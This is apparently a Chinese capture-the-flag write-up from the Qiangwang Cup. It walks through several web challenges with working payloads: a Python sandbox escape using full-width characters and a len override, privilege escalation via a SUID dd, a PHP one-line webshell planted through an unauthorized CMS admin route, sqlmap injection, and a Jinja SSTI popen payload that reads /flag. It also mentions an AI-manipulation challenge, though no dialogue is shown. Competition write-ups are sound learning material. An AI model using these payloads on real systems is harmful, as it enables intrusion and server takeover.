强网杯遗憾收场:
Misc givemesecret
AI 诱导,对话如下:
Web PyBlockly
抓包,获取请求如下:
审计源代码,发现在正则过滤,但是还使用了 unidecode.unidecode()
来对传入的文本进行转码,所以可以通过全角字符来进行绕过:
AST 对 import
的过滤,使用 __import__
就可以绕过了。
__import__('os').system('whoami')
在 do
函数中,添加了 audit_hook
钩子函数,对调用的函数进行了过滤,长度不能大于 4 ,当传入 __import__('os').system()
时调用的是 os.system()
,长度大于 4 ,所以无法执行。
为了绕过这个限制,根据 CTF Pyjail 沙箱逃逸绕过合集 提到的:
将内置函数 len
修改为返回值恒为 0 即可:
globals()['__builtins__'].len = lambda x: 0
最后得到的 Payload 如下(使用全角字符):
');\n\nglobals()['__builtins__'].len = lambda x:0; print(__import__('os').system('whoami'));\n\nprint('
直接读取 /flag 无回显,查看权限发现需要提权:
ls -lh /flag
查找具有 SUID 权限的文件:
find / -perm -u=s -type f 2>/dev/null
发现 dd 命令具有 SUID 权限,所以使用它将 /flag 文件的内容导出到当前目录,即可查看文件内容:
dd if=/flag of=./flag.txt
cat ./flag.txt
Web xiaohuanxiong
访问 /admin 路由发现 CMS 信息:
在 GitHub 上找到 小涴熊CMS 5.0 的源码: https://github.com/Empty2081/raccoon5
下载之后进行代码审计,发现 /admin/books
路由存在未授权访问:
尝试添加管理员:
使用新添加的管理员重新登录后台:
然后翻看页面,发现在“支付管理”->“支付设置”内可以插入 PHP 代码,尝试直接写入一句话木马:
保存之后报错,说明一句话木马生效了:
重新访问根路由,报错依然存在,所以直接蚁剑连接:
根目录拿 flag :
Web snake
写个脚本自动玩贪吃蛇,通关之后得到路由 /snake_win
import requests
from collections import deque
GRID_DIM_X = 20
GRID_DIM_Y = 20
DIRS = [
'UP',
'DOWN',
'LEFT',
'RIGHT'
]
STEP_MAP = {
'UP': (0, -1),
'DOWN': (0, 1),
'LEFT': (-1, 0),
'RIGHT': (1, 0)
}
API_URL = 'http://eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000'
HEADERS = {
'Content-Type': 'application/json',
}
COOKIES = {
'session': 'eyJ1c2VybmFtZSI6Inl2bGluZyJ9.ZybD2g.AJbTF50T4_sPDulchSNMeTyNwkc'
}
def send_request(to_go):
req_data = {"direction": to_go}
response = requests.post(API_URL + '/move', headers=HEADERS, cookies=COOKIES, json=req_data)
if response.status_code == 200:
return response.json()
else:
return None
def find_food(snake_segments, food_pos, grid_x, grid_y):
head_pos = tuple(snake_segments[0])
snake_set = set(tuple(pos) for pos in snake_segments)
path_queue = deque()
path_queue.append((head_pos, []))
visited = set()
visited.add(head_pos)
while path_queue:
current_pos, path_list = path_queue.popleft()
if current_pos == tuple(food_pos):
return path_list
for dir_name, (d_x, d_y) in STEP_MAP.items():
new_x = current_pos[0] + d_x
new_y = current_pos[1] + d_y
new_pos = (new_x, new_y)
if 0 <= new_x < grid_x and 0 <= new_y < grid_y:
if new_pos not in snake_set and new_pos not in visited:
visited.add(new_pos)
path_queue.append((new_pos, path_list + [dir_name]))
return None
def get_potential_moves(snake_segments, grid_x, grid_y):
head_x, head_y = snake_segments[0]
possible_moves_dict = {}
for dir_name, (d_x, d_y) in STEP_MAP.items():
new_x = head_x + d_x
new_y = head_y + d_y
if 0 <= new_x < grid_x and 0 <= new_y < grid_y:
if [new_x, new_y] not in snake_segments:
possible_moves_dict[dir_name] = [new_x, new_y]
return possible_moves_dict
api_response = send_request('RIGHT')
if not api_response:
exit()
food_location = api_response['food']
snake_body = api_response['snake']
while True:
path_to_food = find_food(snake_body, food_location, GRID_DIM_X, GRID_DIM_Y)
if path_to_food:
next_step = path_to_food[0]
else:
possible_moves_dict = get_potential_moves(snake_body, GRID_DIM_X, GRID_DIM_Y)
if possible_moves_dict:
next_step = list(possible_moves_dict.keys())[0]
else:
break
api_response = send_request(next_step)
print("Current Data:", api_response)
if not api_response or api_response.get('status') != 'ok':
break
try:
food_location = api_response['food']
snake_body = api_response['snake']
except Exception:
pass
print("Current Score:", api_response['score'])
访问 /snake_win ,传入了一个参数 username
:
发现在这里传入特殊字符引发报错,根据报错页面判断后端是 flask 框架,猜测可能存在 SSTI :
单引号报错,猜测可能存在 sql 注入,所以用 sqlmap 进行测试:
sqlmap -u "http://eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000/snake_win?username=1" --batch --level 3
确实存在 sql 注入,但是数据库类型是 sqlite ,不能直接 rce 了,所以先翻看数据库中的内容:
存在一张用户表;
里面存储的就是游戏开始前设置的用户名和对应的游戏记录。
在 /snake_win?username=yvling
处尝试 SSTI ,但是并没有回显,所以猜测在设置用户名的时候可能存在 SSTI ,结果会被写入数据库中。
进行测试如下:
抓一个设置用户名的数据包:
POST /set_username HTTP/1.1
Host: eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=test
修改请求包,再用 sqlmap dump 数据,发现 SSTI 确实存在,并且成功使用以下 payload 获取基类的所有子类:
POST /set_username HTTP/1.1
Host: eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username={{''.__class__.__bases__[0].__subclasses__()}}
sqlmap -u "http://eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000/snake_win?username=1" --batch --level 3 -T users --dump --fresh-queries
拿到子类之后,写个脚本查找可用类:
classes_str = "所有子类的字符串"
classes_list = classes_str.split(',')
for key, value in enumerate(classes_list):
if "os._wrap_close" in value:
print(str(key) + " ==> " + value)
找到可以 RCE 的可用类 os._wrap_close
下标为 117:
构造 payload 如下:
POST /set_username HTTP/1.1
Host: eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username={{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read()}}
再跑一次 sqlmap ,即可得到 flag: